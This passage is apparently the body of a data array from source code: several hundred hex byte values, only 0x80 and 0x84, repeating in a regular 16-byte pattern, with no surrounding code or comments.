0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 